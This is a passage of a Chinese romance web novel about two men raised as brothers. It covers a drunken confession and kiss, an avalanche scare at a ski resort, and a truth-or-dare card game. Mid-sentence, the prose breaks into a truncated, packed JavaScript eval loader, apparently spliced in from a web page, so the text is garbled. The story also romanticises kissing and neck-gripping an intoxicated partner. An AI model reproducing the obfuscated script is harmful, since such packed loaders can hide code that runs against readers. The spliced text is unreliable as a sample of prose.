这不,根本来不及预定酒店。 章长叙报出章长宁的英文名,又换了方式问,“那能帮我查一下他的房间号吗?” 前台说,“抱歉先生,我们酒店不能随意泄露客人隐私,如果你认识这位Ning先生,可以让他来接你入住,我们可以为你办理入住登记。” “……” 就在章长叙再次陷入沉默的时候,边上忽地响起一声,“章医生?” 章长叙侧眸看去,才发现柏续从不远处的电梯里走了出来,边上还勉强扶着喝得醉醺醺的章长宁。 日夜惦记的人终于又出现在了自己的眼前,章长叙的眼色几乎瞬间缓和了下来,快步走近,“你们怎么在这里?” 章长叙担心的眼色锁在章长宁的身上,“他这是又喝了多少?” “在五楼酒吧是喝了点。” 柏续早就知道商延枭通知了章长叙,但没想到对方来得这么快,“长宁,章医生来了。” 章长叙想也不想就揽上了章长宁发烫的脖颈,顺势将他往自己的怀里带,“宁宁?” “……” 章长宁感受到异样熟悉的气息和温度,迷糊睁眼,骨子里的本能依赖让他主动往章长叙的怀里钻。 章长叙干脆掀开大衣的两侧,习惯性将章长宁裹进了自己的怀中,不让醉酒的他吹到一丝有可能的寒风。 只是这姿势,看起来不像是兄弟,更像是情侣。 柏续洞察到一丝不同寻常,眸光稍变,“章医生来得还挺快,这是还没办理入住?” 章长叙垂眸注视着怀中的章长宁,“嗯,这里交给我就行。” 柏续自然是放心的,“好。” … 章长叙抱着章长宁回到套房时,对方已经在他的怀中软成一团了,看着就知道喝了不少酒,明早睡醒还不知道会头疼成什么样? 章长叙又气又心疼,只能小心翼翼将他放在小客厅的沙发上,“宁宁?渴不渴?” “唔。” 章长宁迷迷糊糊地睁眼,意识并不清晰地望着眼前人。 章长叙哄他,“乖,我去给你倒点温水。” 他记得套房里面是备了医药箱的,兴许还有解酒药。 章长宁没应答,仍是安安静静地看着。 章长叙也不求醉了酒的人能给他什么正常反馈,只好先去倒水。 “……” 这一瞬间,转身离开的背影和梦境重合。 章长宁内心深处的恐惧被酒意骤然催发,被堵住的嗓子眼几乎是撕扯着喊道,“你别走——” 下一秒,想要起身追赶的他就重重绊倒在了茶几边缘,发出沉闷的一声。 “宁宁!” 章长叙第一时间转身,迅速回到他的身边,“来,伤到哪里了没有?疼不疼?” “……” 章长宁只觉得自己还在梦里,可又觉得梦境就是未来的“现实”,他的眼泪在眼眶里盘旋,几乎把自己贬到了尘埃里。 “你不要结婚好不好?” 突然起来的一句恳求,让章长叙愣在原地。 结婚? 谁要结婚? 章长宁不管不顾地圈住章长叙的臂膀,哄着眼眶哀求,“你不要结婚,我、我不想你结婚。” 章长叙意识到不对劲,眉心紧蹙,“宁宁,你看看我是谁?” “我知道我这样、这样想你不对,可我忍不住……”章长宁断断续续地说着,无助地像个做错事的小孩,“我真的、控制不住我自己。” “我知道。” 你是二哥。 “我知道你是谁,我……我知道……” 章长宁泪眼婆娑地眼前人,醉意呢喃中带着孤注一掷的绝望和偏执,仰头吻了上去。 21.【第021章】 温软的唇上传来一丝酒味,混杂着眼泪的咸。 章长叙如遭电击,一向的冷静防线被骤然攻破,怀中的人紧张到浑身都在发抖,仿佛是要确认什么。 “……” “……” 呼吸拉扯间,章长叙的理智终究占据上风。 他凝住呼吸,狠心推开章长宁,“章长宁,你知不知道你在做什么?” 章长宁感受到了他的拒绝,眼泪终究是决了堤,“为什么……为什么你连一丝施舍都不肯给我……” “我喜欢,我喜欢你啊!” 章长宁狼狈又绝望地低下头,崩溃地将藏在心底最深处的秘密宣泄,“好多年了,我喜欢你……好多年了……” “我知道……我知道我们之间、没有、没有结果的,可我该怎么办?” “你知道吗?我没有勇气……”章长宁胡乱地抹掉自己的眼泪,抬眼重新望着“梦境”里的章长叙,“看着你和别的女孩子、结婚……” 章长叙听着一派酒后真言,看向章长宁的眼色越来越深,不知为何,他突然想到了安德鲁之前说过的话—— “宁说自己有个暗恋了很久的对象。” “……” 所以呢?今晚为什么会哭成这样?因为那个男人结婚了? 是因为得知了那个男人的婚讯,才一声不吭地跑出了家、独自出国躲在这里、还将自己喝成这副模样? 章长叙一想到这种可能性,名为“嫉妒”和“醋意”的情绪就控制不住地疯涨,径直挣脱了那层可笑的“兄弟”界限。 章长宁不见的这两天,他担心得整个人都快要发狂了,一得知好友发来的消息后立刻不吃不喝地赶到这儿! 可结果呢? 凭什么他这些年来拼命克制、捧在手心里疼的人,现在却哭着把他当成另一个人看待? “章长宁!你把我当成谁了?”章长叙压下身来,用力扣住章长宁的后脑勺逼迫他抬头,”你看清楚我是谁!” 语气里没了以往独有的温柔,反倒带着一丝从未有过的疯狂。 章长宁还没意识到危险的到来,溺在自己的绝望漩涡里,“你别讨厌我,好不好?我、我不打扰你的,我喜欢你,我……” 章长叙那根理智的弦骤然崩断,直接用吻将章长宁的醉语全部堵了回去! “唔!嗯……” 醋味十足的吻里夹带着滋生的疯狂。 章长宁压根来不及反应,身上人就已经彻底撬开了他的牙关,柔软的唇被用力的吸吮、无从躲藏的舌头也被捕获、被搅弄。 一呼一吸间,满是彼此最熟悉的味道。 章长宁不懂什么突然就变成了这样,可他还是本能地渴求着这份亲密和安定,他原本已经无力的双手重新攀上章长叙的臂膀,带着近乎赤诚的爱意献祭般地往上回应。 吻得越来越凶,也越来越狠。 也不知道是谁的唇破了,吸吮舔舐间开始有些血腥的味道。 这些年积压的不可言说的感情就像是一把利剑,让他们恨不得捅穿彼此,直至浑身的血液融合在一块,再无区分。 “嗯……” 酒意在此刻催发出了最致命的热度。 章长宁觉得自己都快被烧坏了,周围的空气一点一点地烧尽,忍受不了的他小幅度地挣扎着,偏头避开了这个要了他半条命的吻。 章长宁求饶,“不、要了。” 章长叙有些不满足地蹙眉,他扣住章长宁的下巴,强制性地将他掰回对视,“躲什么?” 发沉低哑的嗓音里是不容拒绝的掌控欲,“不准躲。” “……” 章长宁的大脑已经搅乱成浆糊了,他分辨不清楚是非对错,却还是乖乖没再躲。 章长叙又吻了下来,只是这回力道轻了很多。 他含吻着章长宁柔软发烫的唇,原本扣在下巴的右手往下一滑,不轻不重地锁住了章长宁的脖子,隐隐有些用力。 “唔。” “别怕,你乖,你最乖。” 说这话时,戴着薄茧的指腹还在轻蹭着身下人的颈侧,以示安抚和奖励。 章长宁默许了眼前人的控制,只是像小猫呜咽了几声,“我乖,你别走……” 他只觉得眼皮子越来越沉,实在没有力气再支撑下去,“你别走,二哥。” “……” 简单又熟悉的一声呓语,却像是一道惊雷砸下。 章长叙愣在原地,原本因为嫉妒而崩盘的理智迅速回笼,他骤然松开了对章长宁的暧昧禁锢,不可置信地回忆自己刚才的越界和失控。 “……” 疯了吗? 他刚才在做什么? 章长叙无比懊恼地哽住呼吸,低喊,“宁宁?” 章长宁已经在酒意的裹挟下疲惫睡前,没有给出任何回应。 “……” 章长叙揉了揉自己还在狂烈跳动的太阳穴,复杂翻涌的情绪却在听见章长宁绵延的呼吸后又沉静了下来。 事情已经发生了,千错万错都得怪他失控。 与其僵在这里,还不如想想事后要怎么补救。 章长叙压下一切烦思,冷静很快又占据了上风,他不做多想,将熟睡中的章长宁抱回了主卧。 … 一夜昏沉。 章长宁是在剧烈的宿醉头疼中醒来的,他只轻轻一动,就觉得身体重得无法动弹,“嘶,好疼……” 余音未落,他原本还带着困意的双眼就猛然睁大了—— 原本应该待在国内的章长叙突然出现在了他的身侧,居然还和以往那样抱着他在睡觉。 “……” 二哥怎么会在这里? 章长宁原本就巨疼的大脑愣是缓冲了好一阵儿,才确认了眼前这一幕不是梦境,他欲言又止地张了张嘴,想要叫醒对方又不敢。 好在桌上的手机突然传来了闹钟,打破了这一平静。 睡梦中的章长叙第一反应就是蹙着眉头,仿佛是很讨厌这种被迫吵醒的滋味,但长年累月的职业习惯让他没几秒就清醒过来,伸手摸索着手机、关闭闹钟。 直到这事,章长宁才敢小心翼翼地出声,“哥?” “……” 章长叙抬了抬眼皮,眸中的困意渐渐散去,“嗯?睡醒了?” 章长宁小幅度地点了点头,又因为头疼蹙了眉头,“……你怎么在这里?” “头疼了?” 章长叙一秒洞察他的身体情况,“你昨晚喝太多酒了,今天起床是得有一阵子难受了,我去给你弄温水、拿解酒药。” 这件事,原本应该昨晚就做的,可是…… 章长叙回想起昨晚那本来不该发生的一幕,眸色微晃。 章长宁没捕捉到他细微的神情,反倒在努力搜刮自己的记忆碎片,只可惜,昨晚的酒量实在过盛,他直接喝断片了。 现在能想起来的,只有柏续陪着他在酒吧里喝酒。 其余的,一概没了印象。 “宁宁?” “啊?”章长宁下意识地乖巧应答,又有些懊恼,“我昨晚好像是喝太多了,什么都记不起来了。” 他顿了顿,继续追问,“是不是三哥和你说我在这里的?就知道他不会替我保守秘密!” 不过,章长宁确实没有想到,章长叙居然会来、而且来得这么快。 他心尖升起一点儿隐秘的悦意,却不敢往外说,“你又没几天假期,干嘛来回跑这一趟?而且……” 章长叙意识到他喝断了片,暗松一口气,“而且什么?” 章长宁避开眼神对视,不想让自己显得太在意,“而且爸妈不是给你安排了相亲吗?你也答应了,你干嘛不去忙你的要紧事?” 章长叙反问,“你也很想让我去相亲?” “……” 章长宁答不上来,口是心非,“你自己的人生大事,我的意见又不重要。” 章长叙说,“我没有要去相亲,只是双方父母认识、家庭上又有来玩,总得给个面子,我已经和对方见面说清楚了,回家后也和爸妈认真谈过了,不止是现在,我未来也没有相亲的打算。” “啊?” 这下子,又轮到章长宁发懵了。 章长叙干脆一次性讲清楚,“我不想相亲这种事来浪费我自己的时间,没有任何意义,而且婚姻和缘分这种事情,我从来不强求。” 章长宁还没反应过来,“爸妈也同意啊?” 章长叙说,“人是自由的个体,不是吗?” “喔。” 敢情自己瞎折腾了这么三天,现实压根就是无事发生? 章长宁说不清为什么,心情突然就好了起来,就连嘴角也有些压不住了。 “笑什么?” 章长叙不重不轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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经过昨天暴雪的洗礼,今天的天气倒是意外不错,听说滑雪场已经重新开放了,这会儿已经陆陆续续有人带着设备前往了。 酒店餐厅。 章长宁戴着一顶小兔帽子,照旧坐在自己熟悉的餐位上。 他头还疼着,只能苦着一张脸艰难吃饭。 早午餐进行到一半,对面的章长叙就先注意到了楼梯口熟悉的身影,“延枭,这边。” 商延枭带着柏续走近,“原本还打算吃完饭再联系你们,没想到起来用餐的时间差不多。” 章长叙笑了笑,“我们也才刚到不久,坐下一起吃?” 哪知听见这话的章长宁突然出声,“不要!” 他快速咽下嘴巴里的食物,转身颇为怨念地看向了商延枭,一脸“我在生气”的表情,藏都不藏了。 柏续失笑,“怎么看着气鼓鼓的?” 章长叙是最了解章长宁的,知道他这会儿在玩什么小把戏,“喝多了酒闹头疼,还在耍小少爷脾气,别理他。” “我才没!” 章长宁反驳,拍了拍自己边上的空位,“柏续,你可以坐我边上,三哥不行。” 商延枭笑了笑,明知故问,“我怎么了?” “哼!” 章长宁伸手将好友柏续拉到自己的身边,声量加倍,“柏续,你看见了吧?三哥是个漏勺,根本靠不住!你听我的,别和他在一起了。” 商延枭:“……” 柏续配合着好友打趣,“嗯,我觉得也是~” 章长宁抬了抬下颚,难得觉得自己扳回一局。 商延枭只好坐在了章长叙的边上,不过和柏续正好是面对面,“章二,有空管管你家孩子。” 章长叙喝了一口水,无奈摇了摇头,“你不是看见了?孩子大了都敢离家出走了,我管不了一点儿。” “……” 说谁是孩子呢! 他们四人不是同辈的吗? 怎么别人来就是旅游,他来就是离家出走了? 章长宁敢“怒”不敢言,内心才升起的胜利旗帜被斩杀,顶着的兔子耳朵抖了抖。 柏续忍俊不禁,伸手揉捏着好友的假耳朵,“长宁,我们待会儿要去滑雪,你们去吗?” 章长宁吸溜一口意面,立刻有台阶就下,“去!” 22.【第022章】 下午的天气不错,很适合滑雪。 章长宁在中级滑雪道上痛快地玩了两个回合,这才肯罢休,“爽!” 章长叙瞥了一眼最远处的雪山高级道,难得主动提议,“要去高级道吗?” 这家滑雪场的高级道是直接利用纯天然的雪山优势,只能坐缆车到最高点,然后从高海拔处一路下滑,地形的最高落差点还有三四层楼的高度。 除了刺激,还具备一定的危险性。 不过他们已经是这家滑雪场的常客了,以往玩过好多次这条滑雪道,都能顺利抵达终点。 商延枭也偏爱这条更刺激的滑道,“嗯,我可以。” 站在他边上的柏续回答,“我就先不去了,你们去玩吧,我在休息站等你们。” 章长宁主动靠近揽住了柏续的胳膊,“那我留下来陪柏续等你们,正好累了,我们在边上的休息站缓缓。” “我们玩一趟就下来。” 章长叙顿了顿,特别叮嘱章长宁,“别乱跑。” 章长宁老实应话,“知道了,不乱跑。” … 十分钟后,休息站内。 章长宁捧着刚刚买到的巧克力牛奶,才刚喝了一口烫饮,就疼得变了脸色,“嘶,我去。” 柏续才注意到他唇上的小伤口,“你下嘴唇怎么了?” 章长宁小心翼翼地摸了摸,实话实说,“不知道,好像一大早起来就这样了,可能是昨晚又冷又干,缺水了吧。” 不过话说回来,他始终想不起来昨晚到底发生了什么,为数不多的记忆画面还停留在他和柏续在酒吧交心坦白。 章长宁想起那些醉后的真心话,小声询问,“柏续,我有件事想问你。” 对面的柏续像是早知道他要提问,“关于章医生的?” “……” 章长宁摩挲杯壁,点了点头,“我昨晚完全喝断片了,记不得一点儿事,我哥什么时候来的?” 柏续回答,“快十点吧,下楼在酒店大厅正好遇见他在办理入住,就干脆把你交给他了。” 章长宁欲言又止,“我、我没说什么不该说的吧?” 他以往从来没有在章长叙的面前酩酊大醉过,生怕自己说出什么不该说的话。 柏续摇了摇头,“我把你交给章医生的时候,你醉得厉害、一个劲地想着睡觉,一句话没吭声,之后的事情我就不清楚了。” 章长宁听到这儿,总算松了口气,“那就好,我喝醉后只要想着睡觉就很老实。” 他顿了顿,忽地想起自己昨晚在酒精催促下说过的那些坦白,耳根子发红,“不过,柏续,你能不能答应我一件事,你一定要替我保守秘密,可以吗?” 柏续自然对得起章长宁这份信任,“好,我保证。” 章长宁笑开,端起自己的巧克力牛奶,“碰个杯!” “干杯。” 两人一边喝着热饮,一边随意聊着天,气氛轻松。 忽然间,休息站外响起了一阵慌乱惊呼,“我的上帝啊!那山上是雪崩了吗?” “天呐!这怎么办?” “会不会死人啊?赶紧报警!找救援队!” “……” 章长宁在脑海中将这些外语自动转化成中文,结果对面的柏续比他更快一步地冲了出去。 “欸!柏续!” 章长宁紧跟着反应过来,飞奔到休息站的门口。 远处的雪山上散发出巨响,大面积的雪块在山背中呼啸而过,漫起的雪雾吞噬了周遭的一切景致,连带着高空的索道都跟着看不见了。 雪山的滑雪道上无数“缩小”的人影正在疾驰着往下逃窜,但滑行的速度终究比不过雪崩的速度—— 眼见着有好几个“小点”被雪势吞没,众人越发尖叫连连。 章长宁的心瞬间提到了嗓子眼,他想要打电话给章长叙,却又猛地想起了什么。 柏续也意识到了问题的严重性,声线比平时紧了不少,“长宁,打电话!” 章长宁感觉自己没了呼吸,“我哥他们的手机都在我们口袋里放着呢!没带上去!柏续,我们……” 话还没说完,急着下台阶的柏续就歪了重心。 章长宁眼疾手快,“小心!你没事吧!” 柏续说话声有些浮动,“我没事,快,我们先去雪山脚下的索道始发处!” “好!” … 休息站和雪山隔着点距离。 等两人跑到雪山脚下时,第一轮大面积的雪崩已经停了。 山脚下的索道始发处挤满了神色各异的游客,最外围的一圈还围上了安全警戒线,已经有离得近的游客伤员被抬了下来。 “……” 章长宁的大脑已经空白了,整个心脏像是被按了爆炸器,砰砰砰的倒计时声回荡在他的胸腔里,真真正正的命悬一线。 章长宁已经忘了什么是呼吸、什么是思想,他疯了般地挤开看热闹的人情,想要直接突破前方的警戒线直接入内。 负责维持秩序的工作人员靠近制止,“嘿!这位先生,你不能进去!” 章长宁一想到在雪山上的章长叙,整个人就处在崩溃的边缘,“我……” 紧随其后的柏续显然还保留了一份理智,“不好意思,我们的家人朋友还在雪山滑道上,能不能让我们进去找一下?” 工作人员理解了他们的焦灼和担忧,但还是阻止,“抱歉,现在还不确定会不会引发二次雪崩,为了保证安全,所有游客在危机解除之前都不能入场。” “救援人员已经上去了,请你们在原地等待消息。” “……” 原地等待? 他哪里等得住! “不行,我二哥还没出来,我要进去!” “这位先生,请你配合我们工作!” “……” 工作人员和柏续双双架住他,“长宁,冷静点!” “我怎么冷静?我二哥,我哥还在山上呢!” 章长宁被逼急的水雾迅速漫上眼眶,声线颤抖,“柏续,三哥也在啊!你能忍不住不去找他吗?” “……” 柏续原本制止他的手在听见这一句话后猛然脱力。 章长宁咬牙忍着眼泪,看着眼前皑皑一片的雪山,低声决定,“我哥要是真出事了,我也不活了。” 话音刚落,人群中就蓦然响起了一声,“宁宁!” 章长宁猛然抬头,不可置信地寻找着声音的来源。 很快地,他就找到了站在人群末尾的章长叙,返身冲了出去。 “二哥!” ——砰! 撞入章长叙怀抱的那一刻,章长宁才重新感受到了自己的呼吸和心跳。 他像是突然断了弦,强忍着的眼泪在这一刻和热汗混成一团,“你吓死我了,我还以为你在雪山上出事了,吓死我了……” 章长宁浑身都在发抖,心脏更是后知后觉地抽疼,“吓死我了……” 章长叙将他用力搂在怀中,“宁宁,别怕,我没事,我们俩快滑到山脚了才发生了雪崩,所以躲过了一劫。” “……” 章长宁的脸色呈现出异样的青白,呼吸急促地说不出一个字。 章长叙察觉到他的不对劲,“怎么了?” 章长宁还在控制不住地发抖,神色却格外痛苦,“疼。” 心脏跳得疼,整个胸腔也好疼,呼吸频率快得离谱,却又莫名喘不上来气。 身为医生的章长叙瞬间反应过来,直接将章长宁横抱到了较空的石梯上,快速解开他的围巾和滑雪服外套。 “延枭!柏续!”章长叙头也不回地寻求两位好友的帮助,“帮忙找点温水、空袋子、面巾纸也行!” “哥……” 章长叙抚了一下他的颈侧,“宁宁,看着我,别说话,放轻松。” 商延枭已经跑去找热水了,柏续迅速靠近,“怎么回事?” “呼吸性碱中毒。” 章长叙眉头紧骤,声音沉得可怕却也理智得可怕,“柏续,有备用口罩吗?” “有!” 柏续反应过来。 他才从口袋里将一次性口罩拿出来,章长叙就迅速抽了过去,三下五除二就绕成了一个简易的呼吸罩,盖在了章长宁的口鼻处。 “来,深呼吸,放慢点调整呼吸频率。” “……” 章长宁脑子都是晕的,但还是努力按照章长叙的话去做。 时间一分一秒地过去,又因为痛苦被拉得很缓慢。 商延枭带着热水等物品走了回来,站在了柏续的边上,“怎么样了?” 柏续能感觉到章长宁的状态比刚才要好,低声说,“刚才看到雪崩出事,他一路跑着就过来了,加上焦虑激动、情绪上起伏有点大。” 商延枭问,“要不要打电话喊救护车?” 章长叙刚准备应话,缓过来的章长宁就先摆了摆手,“不、不用,我没、没事了。” 他的声音还隔着口罩,听起来闷闷的、弱弱的。 “雪崩救援才是大事,我、我就不麻烦了。”章长宁对自己的身体情况有数,也分得清孰轻孰重。 章长叙从好友的手里 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一回到酒店别墅,章长宁就迫不及待地脱下了外套和衣服,打算好好冲个澡。 结果章长叙一把拽住了他的手,“宁宁,简单洗一下、换件衣服就出门。” 章长宁一愣,“啊?出门?” 章长叙说,“我拿上证件带你去医院,再做个检查。” 说到底,他还是不放心。 章长宁有些不想去,“不用了吧?我觉得我现在挺好的,去什么医院啊?” “……” 章长叙也不接话,只是静静地盯着他看,眉心似蹙非蹙的。 章长宁轻易败下阵来,服软,“好吧,去就去。” 滑雪小镇上只有一家医院,医疗资源很有限、检查做得也慢。 等到夜幕完全降临,章长叙才拿到了章长宁的报告单。 还好,都在正常范围内。 章长宁正在使用医院的吸氧机,这会儿眼巴巴地盯着他,“二哥,我们什么时候可以走?我这样不算占用医疗资源吧?” “瞎说什么。” 章长叙拍了一下他的后脑勺,又看了一眼吸氧机设定的时间,“还剩三四分钟,结束了就好。” “嗯。” 因为雪崩这事,送来抢救的伤者游客不在少数,不远处的抢救大厅内时不时就响起痛苦又绝望的哀嚎。 章长宁听着难受,不自觉地抓了抓章长叙的衣角,“……哥。” 章长叙正在整理他的检查单,第一时间偏过视线,“怎么了?是不是哪里不舒服?” “不是。” 章长宁心有余悸地望着他,摘下呼吸口罩,眼眶隐隐又有些湿润,“我就是想说——你没事,真是太好了。” 毕竟是因为他的任性才“躲”到这里,章长叙也是因为他才“追”到这里,如果今天对方在雪崩中出了意外—— 章长宁根本没办法原谅自己。 眼眶里的红意弥漫得很迅速,赶在眼角的水雾聚集掉落前,章长叙的指腹就已经蹭了上去,轻轻一压一抹。 “宁宁,别怕,我没事。” 章长宁没躲开,反倒不自觉地偏头蹭了蹭温暖的掌心。 章长叙默许了眼前人无意识的亲密接触,往前拉近距离,“听着,我不需要你的自责,在我这里,只要你好好的,比任何事情都重要。” “将来无论发生什么,你都不能像今天这样着急慌忙,连自己的身体健康都顾不上了,明白没有?” “不明白。”章长宁没有顺着他的指令,低声说,“对我来说,你才是最重要,比我自己都重要。” 章长叙心跳漏了一拍,“你……” 两人的呼吸隐约勾在一块,刹那间,呼吸机发出结束的提示音。 章长宁总算慢半拍地意识到了两人过近的距离和亲密,连忙撤身,“哥,我好了,走吧!” 他站了起来,视线不敢再往章长叙的身上看,“你打电话喊三哥他们去餐厅一块吃饭吧。” 章长叙起身,顺着他的意图改了话题,“刚才延枭联系过我了,柏续的脚好像扭到了,今晚没办法外出。” 章长宁担心,“啊?柏续没事吧?” “应该做了处理。” “那我们顺路到那家餐厅,打包回去和他们一块吃?”章长宁很想念他们家的烤鹅,发馋,“难得来一趟,我今晚必须要吃到!” 章长叙笑了声,宠溺,“好。” 23.【第023章】 “哥,快,你按个门铃。” 章长宁的手里提着满满两大袋的食物,沉甸甸的,勒得掌心都发红了,扭头就招呼身后的章长叙抓紧些,“太重了。” 章长叙也提着东西,还是先腾出一只手按门铃。 不出半分钟,独栋别墅的门从里面打开。 章长宁对上商延枭惊讶的眸色,蹦跶着邀功,“三哥!我们来找你和柏续一块吃晚餐了,是不是很惊喜?” 商延枭笑了声,看向他身后的章长叙。 章长叙习以为常,“孩子从小爱热闹,根本闲不住,非得把那家百年老店的食物打包回来,要和你家柏续一块尝。” “哼,你们不懂——” 章长宁直接绕开商延枭往屋子里钻,自来熟地像是自己家一样,“这家餐厅每周一休息,明晚吃不着了呢,柏续第一次来这儿,我肯定得让他也尝尝啊。” 说曹操,曹操就到。 话音刚落,柏续就从别墅一楼的次卧走了出来。 章长宁瞧见好友明显费力的步伐,担心溢于言表,“柏续,你脚怎么了?!是不是在休息站的时候踩空扭到了?” 他还以为只是轻微扭伤呢,这情况看着比想象中得严重多了! 柏续向来是个能藏事的性格,“已经上了药,消了点肿,没什么大事。” 章长宁哪里还顾得上食物,随手搁在地上就去扶他,“你别逞强啊,要是不舒服就让我二哥帮你看看。” “……” 才跟着好友进门的章长叙愣了愣,纠正,“你哥是脑科医生,不是骨科医生。” 章长宁哼唧了一声,没反驳。 柏续轻笑,“你们买了什么?好香。” 商延枭帮忙捡起地上的食物打包带,“长宁他们去那家百年餐厅打包带回来的,说是特意给你尝尝。” “柏续,你一定要试试!他们家的烤羊腿简直一绝!我和确言每次来都能干掉好几只!” “好,我试试。” 三分钟后,带回来的食物满满当当摆了一桌。 章长宁戴上手套,眼巴巴地盯着正在用小刀割羊腿肉的章长叙,“哥,你快点!” 说着,就急不可耐地想要上手撕。 “烫!” 章长叙及时制止,“坐好了,我给你弄。” 章长宁乖乖收手,还忍不住嘀咕,“那你的速度倒是快点嘛。” 商延枭率先割下一块,递给了柏续,“尝尝,这家味道是不错。” 柏续咬了一口炭烤羊肉,“嗯,是挺好吃。” 章长宁也吃上了,含糊邀功,“我认准的食物味道绝对不差。” 章长叙继续往他的嘴里塞羊肉,“是啊,嘴巴挑着呢,难养活。” 商延枭跟着调侃了一句,“确言从小什么都吃,你是什么都不爱吃。” 柏续笑回,“嗯,能想象。” “……” 这才晚餐才刚开了一个头,三人就又拿他打趣。 章长宁“恶狠狠”地咬着自己嘴里的羊肉,以食欲泄愤。 四人边吃边聊。 章长叙作为商延枭从小到大的挚友,不由问及了一下商家众人的近况—— 比起向来和谐友爱的章家,商家的情况可就复杂多了,近一年的时间,商延枭一直深陷家族斗争的漩涡,就连柏续也被迫卷入了纷争。 章长叙说,“商业上的事情我接触不多,但如果有需要章家帮忙的地方,你们俩尽管开口。” 章家同样从商,他们的大哥章长风同样是商界赫赫有名的人物。 商延枭接收了好友的好意,“好。” 章长宁自顾自地塞了几口羊肉下肚,眼见着这个话题收了尾,“柏续,我给你来一杯特调鸡尾酒!” 说着,他就迫不及待地拿出了自己精心购买的各种酒水饮料。 柏续惊讶,“你还会这个?” 章长宁得意地扬了扬下颚,“当然,这些年酒吧去多了、酒喝多了自然就会了!” “……” 章长叙听见这话,看向他的视线里略带不赞同。 意识到自己说漏嘴的章长宁请客认怂,改口,“我的意思是,调酒也是门值得欣赏的艺术,你说对吧?” 说这话时,他还连连对着柏续眨巴眼睛、释放求救信号。 柏续偏向他,特别配合地点头,“嗯,宁大艺术家,请吧!” 章长宁是真学到了一些调酒本事,他根据在座三人的饮酒喜好,分分钟调出了三杯不同口感的鸡尾酒。 “好了!总算轮到我自己了——” 章长宁兴高采烈地想要给自己调试最后一杯鸡尾酒,结果还没出手,章长叙就干脆利落地将所有的酒品都收到了一边。 “好了,不用再调了,你今天这情况,不适合喝酒。” “……” 章长宁一口气哽住喉咙里,上不去下不来,“那我喝什么!” 他辛辛苦苦调了大半天,结果自己一杯都没捞着?这不公平! 章长叙端起一边的水壶,给他倒了杯无色无味的温水,“喝这个,我可以陪你喝。” 章长宁“哼”了一声,不情不愿,“谢谢啊,章、医、生。” 章长叙将水杯塞到他的手里,“不客气,你谨遵医嘱就行。” “……” 章长宁大败特败。 坐在对面的柏续目睹了他们的相处模式,似乎是察觉了什么新大陆,默默饮了一口鸡尾酒,味道是挺不错的。 喝不上酒的章长宁这会儿还在炸毛,“柏续,你笑什么呢?” 柏续忍了忍,“没笑啊,你调的酒很好喝。” 章长宁叹了口气,“不喝酒就没意思。” 柏续顺着他问,“你还想怎么有意思?玩酒桌游戏?” “行啊,有扑克吗?”章长宁立刻来了精神,“先抽牌面大小再决定惩罚好了。” 商延枭接收到柏续的眼神示意,起身去拿,返身回来时又说,“先说好了,阿续今天脚伤了不方便,大幅度的冒险动作不能有。” “知道知道!” 章长宁迫不及待地接过扑克牌,灵活地洗了起来,“先说好了,就抽大小,牌数最大的人可以惩罚牌数最小的人,真心话或者大冒险都可以,抽到大王的,可以一次性指定其他三个人,抽到小王免罚。” “A、2就是1、2,J、Q、K就是11、12、13。” 柏续点头,“简单,没问题。” 章长叙和商延枭对视一眼,自然是愿意陪着消遣打发时间。 “对了,答不上来、不愿回答或者大冒险不做的人,罚酒一杯。”章长宁顿了顿,故意看向章长叙,“我今晚不、能、喝、酒,所以我哥替我罚。” 后半句话一出,明晃晃的就是在耍小孩子脾气。 章长叙笑了声,顺着他,“好。” 第一轮抽牌结束。 章长宁当场就乐了,干脆翻牌,“我牌面是Q,有比我大的吗?” 柏续只抽到了3,认栽,“好吧,我认罚。” “好吧,看在是第一个问题、你脚又受伤的份上,我来个简单的。” 章长宁圆溜溜的眼珠子一转,八卦,“柏续,你和三哥什么时候在一起的?谁追的追?” 确实是没什么难度的真心话问题。 柏续和商延枭对视一眼,说出的答案却让章长宁大为震惊,“要说正式在一起的话,是今天。” “啊?” 章长宁匪夷所思地皱了皱眉头,“今天?你们俩今天才正式交往?不可能吧?你们俩不是早就……” 他脑袋上冒出来的问号越来越多,“等等,你快说清楚。” 柏续摇了摇头,偏偏钓着他的好奇心不再说。 商延枭帮忙开腔,“一局就一个问题,除非你接下来还能赢牌面,不然我们有权保持沉默。” 柏续点头,“嗯。” “……” 章长宁故作嫌弃,“我服了你们俩了,脑回路都长一块去了。” 章长叙看破,“他们就想钓着你的好奇心,变着法地降低后面真心话的难度呢。” 章长宁给自己灌了半杯水,“等着吧,我今晚非得问清楚!再来!” 虽然这样的牌面游戏简单,但玩起来也有点意思,一轮接着一轮,不知不觉就玩了四十多分钟。 “时间差不多了,再玩最后一轮就收手?”章长叙主动提议,“今天发生了不少事,大家都早点休息。” 商延枭也同意,“嗯。” 章长叙抽牌,“J,还行。” “我牌面十,也挺大的,应该罚不到我身上。” 章长宁觉得自己躲过一劫,环视桌上已经翻开的卡面,“奇了怪了,今天大小王的牌怎么一直没出现?” 话音刚落,柏续就将一张大王牌展示在了他的眼前,“看来最后一轮,我运气不错。” 商延枭也跟着笑,翻开自己的小王牌,“我的也不错,这一轮可以免罚了。” “……” “……” 章长宁无奈,“不是,你们两口子怎么回事啊?” 柏续的视线在章长叙和章长宁的脸上打转,“长宁,别紧张,最后一轮了,我就问个简单点的。” 章长宁认命,“什么?” 柏续的目光微微下移,好巧不巧地停留在了章长宁下唇的小伤口上,忽然间,他有了一个大胆而微妙的猜测,借机发问—— “你们和别人接过吻吗?” “……” 章长宁愣了两秒,不过还是如实回答,“没啊,我又没谈过恋爱。” 柏续眉梢微挑,又将询问的目光落向沉默不语的章长叙,“章医生,那你呢?” 章长叙眸光微晃,脑海中不自觉浮现了昨晚那个理智失控的吻。 章长宁见章长叙沉默,还以为他是不好意思,想当然地说,“我哥这些年忙着学医和工作,哪里有时间……” 话还没说完,章长叙就定定开了口,“有。” “……” 章长宁呼吸一窒,还以为自己是出现了幻听,结果章长叙又明确地补上了一句,“当然有过。” 章长宁没接话,他像是怕旁人看出端倪,故作淡定地拿起水杯,用饮水的动作来遮掩自己的情绪浮动。 柏续得到这个不算意外的答案,“我问完了,游戏结束。” 章长叙从说出答案的那一刻起,余光就一直观察着章长宁的反应,他想要试探——对方到底还记不记得昨晚酒后发生的事。 只可惜,事与愿违。 